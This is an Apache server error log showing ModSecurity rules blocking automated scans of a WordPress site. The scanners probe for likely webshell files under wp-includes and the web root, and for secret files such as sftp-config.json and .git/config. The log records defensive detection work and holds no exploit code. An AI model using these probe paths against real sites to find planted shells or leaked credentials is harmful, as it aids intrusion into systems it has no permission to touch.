[Sun Dec 21 02:49:28.646615 2025] [:error] [pid 22338:tid 22401] [client 31.171.130.158:29637] [client 31.171.130.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "aUbvuHGYQSUt-opKpSJW8AAAAFA"]
[Sun Dec 21 02:49:29.256140 2025] [:error] [pid 8640:tid 8651] [client 31.171.130.148:21893] [client 31.171.130.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "aUbvufVclzlEWWhvYtmcqwAAAIE"]
[Sun Dec 21 02:49:29.863957 2025] [proxy_fcgi:error] [pid 8751:tid 8753] [client 31.171.130.136:63473] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:49:30.170335 2025] [:error] [pid 8751:tid 8763] [client 31.171.130.136:63473] [client 31.171.130.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "aUbvumvrnuGjNP7vtDRxEwAAAAo"]
[Sun Dec 21 02:49:31.871520 2025] [:error] [pid 8642:tid 8724] [client 31.171.130.133:61485] [client 31.171.130.133] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aUbvuyJkiik8k41igp1GMQAAARM"]
[Sun Dec 21 02:49:32.432599 2025] [proxy_fcgi:error] [pid 8641:tid 8702] [client 31.171.130.147:34633] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:49:33.034211 2025] [:error] [pid 8641:tid 8695] [client 31.171.130.147:34633] [client 31.171.130.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aUbvvXE703usYSvQGLSWLwAAANA"]
[Sun Dec 21 02:49:33.891383 2025] [:error] [pid 8751:tid 8763] [client 31.171.130.134:30961] [client 31.171.130.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aUbvvWvrnuGjNP7vtDRxHwAAAAo"]
[Sun Dec 21 02:49:35.491255 2025] [:error] [pid 8641:tid 8700] [client 31.171.130.113:41921] [client 31.171.130.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "aUbvv3E703usYSvQGLSWRAAAANM"]
[Sun Dec 21 02:49:36.054266 2025] [:error] [pid 22338:tid 22396] [client 31.171.130.162:32991] [client 31.171.130.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "aUbvwHGYQSUt-opKpSJXIwAAAEs"]
[Sun Dec 21 02:49:36.970200 2025] [:error] [pid 22338:tid 22399] [client 31.171.130.152:61511] [client 31.171.130.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aUbvwHGYQSUt-opKpSJXLgAAAE4"]
[Sun Dec 21 02:49:38.227381 2025] [:error] [pid 8641:tid 8687] [client 31.171.130.120:36657] [client 31.171.130.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "aUbvwnE703usYSvQGLSWXQAAAMk"]
[Sun Dec 21 02:49:39.838627 2025] [proxy_fcgi:error] [pid 44515:tid 44533] [client 31.171.130.114:23653] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:49:40.740641 2025] [proxy_fcgi:error] [pid 44515:tid 44534] [client 31.171.130.114:23653] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:49:41.041067 2025] [:error] [pid 44515:tid 44532] [client 31.171.130.114:23653] [client 31.171.130.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "aUbvxZZAdBRP9gwGvJ5mewAAAY4"]
[Sun Dec 21 02:49:44.091631 2025] [proxy_fcgi:error] [pid 43680:tid 43708] [client 31.171.130.155:64943] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:49:44.388192 2025] [proxy_fcgi:error] [pid 43680:tid 43705] [client 31.171.130.155:64943] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:49:45.592139 2025] [proxy_fcgi:error] [pid 43680:tid 43688] [client 31.171.130.155:64943] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:49:45.876268 2025] [:error] [pid 43680:tid 43702] [client 31.171.130.155:64943] [client 31.171.130.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "aUbvyUDkAAJVjNqC6UXS6gAAAVI"]
[Sun Dec 21 02:49:46.499818 2025] [proxy_fcgi:error] [pid 8751:tid 8757] [client 31.171.130.113:60241] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:49:47.394285 2025] [:error] [pid 8751:tid 8764] [client 31.171.130.113:60241] [client 31.171.130.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "aUbvy2vrnuGjNP7vtDRxWAAAAAs"]
[Sun Dec 21 02:49:47.983499 2025] [:error] [pid 8751:tid 8762] [client 31.171.130.120:47787] [client 31.171.130.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "aUbvy2vrnuGjNP7vtDRxXAAAAAk"]
[Sun Dec 21 02:49:50.089150 2025] [:error] [pid 43680:tid 43685] [client 31.171.130.110:49529] [client 31.171.130.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aUbvzkDkAAJVjNqC6UXTFgAAAUE"]
[Sun Dec 21 02:49:51.356602 2025] [proxy_fcgi:error] [pid 8640:tid 8661] [client 31.171.130.132:41393] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:49:51.659607 2025] [proxy_fcgi:error] [pid 8640:tid 8674] [client 31.171.130.132:41393] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:49:51.946103 2025] [proxy_fcgi:error] [pid 8640:tid 8667] [client 31.171.130.132:41393] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:49:52.283118 2025] [proxy_fcgi:error] [pid 8640:tid 8660] [client 31.171.130.132:41393] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:49:53.824288 2025] [:error] [pid 8640:tid 8663] [client 31.171.130.132:41393] [client 31.171.130.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aUbv0fVclzlEWWhvYtmdwgAAAI0"]
[Sun Dec 21 02:49:54.491391 2025] [:error] [pid 8751:tid 8753] [client 31.171.130.155:55729] [client 31.171.130.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "aUbv0mvrnuGjNP7vtDRxhAAAAAA"]
[Sun Dec 21 02:49:55.094378 2025] [:error] [pid 44515:tid 44533] [client 31.171.130.113:25807] [client 31.171.130.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "aUbv05ZAdBRP9gwGvJ5mxwAAAY8"]
[Sun Dec 21 02:49:55.672104 2025] [:error] [pid 8751:tid 8772] [client 31.171.130.115:22065] [client 31.171.130.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "aUbv02vrnuGjNP7vtDRxlAAAABM"]
[Sun Dec 21 02:49:56.252856 2025] [:error] [pid 44515:tid 44520] [client 31.171.130.155:48687] [client 31.171.130.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aUbv1JZAdBRP9gwGvJ5mzAAAAYI"]
[Sun Dec 21 02:49:56.822392 2025] [:error] [pid 22338:tid 22407] [client 31.171.130.108:56741] [client 31.171.130.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aUbv1HGYQSUt-opKpSJX_wAAAFY"]
[Sun Dec 21 02:49:57.757385 2025] [:error] [pid 44515:tid 44530] [client 31.171.130.145:51859] [client 31.171.130.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "aUbv1ZZAdBRP9gwGvJ5m0wAAAYw"]
[Sun Dec 21 02:50:45.193397 2025] [:error] [pid 8641:tid 8696] [client 31.171.130.159:50581] [client 31.171.130.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/db/"] [unique_id "aUbwBXE703usYSvQGLSYjwAAANE"]
[Sun Dec 21 02:51:10.812352 2025] [:error] [pid 8640:tid 8666] [client 31.171.130.123:54119] [client 31.171.130.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/maintenance/"] [unique_id "aUbwHvVclzlEWWhvYtmgMwAAAJA"]
[Sun Dec 21 06:39:00.215400 2025] [:error] [pid 20676:tid 20754] [client 103.65.236.149:55027] [client 103.65.236.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/sftp-config.json"] [unique_id "aUclhKpSa967F4pOO5zR4AAAAJU"]
[Sun Dec 21 07:22:09.455502 2025] [autoindex:error] [pid 12191:tid 12207] [client 38.242.205.127:57096] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sun Dec 21 19:54:40.278114 2025] [:error] [pid 59158:tid 59175] [client 122.52.17.8:57826] [client 122.52.17.8] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.52.17.8, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aUfgAI7NvyNF8ab5VgUYBwAAAM8"]
[Sun Dec 21 19:54:40.289718 2025] [proxy_fcgi:error] [pid 59158:tid 59175] [client 122.52.17.8:57826] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 21:25:59.439120 2025] [:error] [pid 59158:tid 59164] [client 167.172.29.113:41732] [client 167.172.29.113] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aUf1Z47NvyNF8ab5VgVE9wAAAMQ"]
[Sun Dec 21 21:42:09.600876 2025] [proxy_fcgi:error] [pid 59158:tid 59176] [client 104.208.116.65:34536] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 21:42:09.727466 2025] [proxy_fcgi:error] [pid 59158:tid 59181] [client 104.208.116.65:34536] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 21:42:09.848855 2025] [proxy_fcgi:error] [pid 59158:tid 59160] [client 104.208.116.65:34536] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 21:42:09.970350 2025] [proxy_fcgi:error] [pid 59158:tid 59170] [client 104.208.116.65:34536] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 21:42:11.346827 2025] [proxy_fcgi:error] [pid 59158:tid 59177] [client 104.208.116.65:34536] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 21:42:11.466346 2025] [proxy_fcgi:error] [pid 59158:tid 59171] [client 104.208.116.65:34536] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 21:42:11.684777 2025] [proxy_fcgi:error] [pid 59158:tid 59167] [client 104.208.116.65:34536] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 21:42:11.813901 2025] [proxy_fcgi:error] [pid 59158:tid 59179] [client 104.208.116.65:34536] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 21:42:11.937967 2025] [proxy_fcgi:error] [pid 59158:tid 59161] [client 104.208.116.65:34536] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 21:42:12.060391 2025] [proxy_fcgi:error] [pid 59158:tid 59164] [client 104.208.116.65:34536] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 21:42:12.263180 2025] [:error] [pid 59158:tid 59182] [client 104.208.116.65:34536] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aqw.php"] [unique_id "aUf5NI7NvyNF8ab5VgVMZQAAANY"]
[Sun Dec 21 21:42:12.635403 2025] [:error] [pid 59070:tid 59133] [client 104.208.116.65:33365] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aqw.php"] [unique_id "aUf5NH3dhXne9KX1kgJXDgAAAIU"]
[Sun Dec 21 21:42:12.928802 2025] [:error] [pid 30183:tid 30192] [client 104.208.116.65:34538] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aqw.php"] [unique_id "aUf5NOCmP2zCzk_WZcUVwQAAAQc"]
[Sun Dec 21 21:42:13.195016 2025] [:error] [pid 59067:tid 59086] [client 104.208.116.65:34517] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aqw.php"] [unique_id "aUf5NctpsOP1NfIK_qJu-wAAAAw"]
[Sun Dec 21 21:42:13.541374 2025] [:error] [pid 59158:tid 59162] [client 104.208.116.65:34531] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ca1.php"] [unique_id "aUf5NY7NvyNF8ab5VgVMZgAAAMI"]
[Sun Dec 21 21:42:13.851416 2025] [:error] [pid 59067:tid 59098] [client 104.208.116.65:34511] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ca1.php"] [unique_id "aUf5NctpsOP1NfIK_qJu_QAAABg"]
[Sun Dec 21 21:42:14.183087 2025] [:error] [pid 59068:tid 59124] [client 104.208.116.65:34532] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ca1.php"] [unique_id "aUf5NhmLyLqWUlrjwyecAgAAAFc"]
[Sun Dec 21 21:42:14.491075 2025] [:error] [pid 59067:tid 59083] [client 104.208.116.65:34549] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ca1.php"] [unique_id "aUf5NstpsOP1NfIK_qJu_wAAAAk"]
[Sun Dec 21 21:42:14.848566 2025] [:error] [pid 42755:tid 42780] [client 104.208.116.65:34556] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file51.php"] [unique_id "aUf5NuW0XvxgXMTJJbvZtwAAAVc"]
[Sun Dec 21 21:42:15.255382 2025] [:error] [pid 59158:tid 59174] [client 104.208.116.65:34521] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file51.php"] [unique_id "aUf5N47NvyNF8ab5VgVMbQAAAM4"]
[Sun Dec 21 21:42:15.609912 2025] [:error] [pid 42755:tid 42768] [client 104.208.116.65:34498] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file51.php"] [unique_id "aUf5N-W0XvxgXMTJJbvZugAAAUs"]
[Sun Dec 21 21:42:15.919228 2025] [:error] [pid 59067:tid 59080] [client 104.208.116.65:33367] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file51.php"] [unique_id "aUf5N8tpsOP1NfIK_qJvAAAAAAY"]
[Sun Dec 21 21:42:16.354405 2025] [:error] [pid 30183:tid 30196] [client 104.208.116.65:34548] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abouta.php"] [unique_id "aUf5OOCmP2zCzk_WZcUVxwAAAQs"]
[Sun Dec 21 21:42:16.844681 2025] [:error] [pid 30183:tid 30204] [client 104.208.116.65:34546] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abouta.php"] [unique_id "aUf5OOCmP2zCzk_WZcUVyQAAARM"]
[Sun Dec 21 21:42:17.254880 2025] [:error] [pid 59068:tid 59111] [client 104.208.116.65:34519] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abouta.php"] [unique_id "aUf5ORmLyLqWUlrjwyecCQAAAEo"]
[Sun Dec 21 21:42:17.907615 2025] [:error] [pid 30183:tid 30203] [client 104.208.116.65:33362] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abouta.php"] [unique_id "aUf5OeCmP2zCzk_WZcUVzAAAARI"]
[Sun Dec 21 21:42:18.216813 2025] [:error] [pid 30183:tid 30186] [client 104.208.116.65:33373] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fclas.php"] [unique_id "aUf5OuCmP2zCzk_WZcUVzwAAAQE"]
[Sun Dec 21 21:42:18.624054 2025] [:error] [pid 59158:tid 59177] [client 104.208.116.65:33366] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fclas.php"] [unique_id "aUf5Oo7NvyNF8ab5VgVMdQAAANE"]
[Sun Dec 21 21:42:18.952040 2025] [:error] [pid 30183:tid 30209] [client 104.208.116.65:34542] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fclas.php"] [unique_id "aUf5OuCmP2zCzk_WZcUV0AAAARg"]
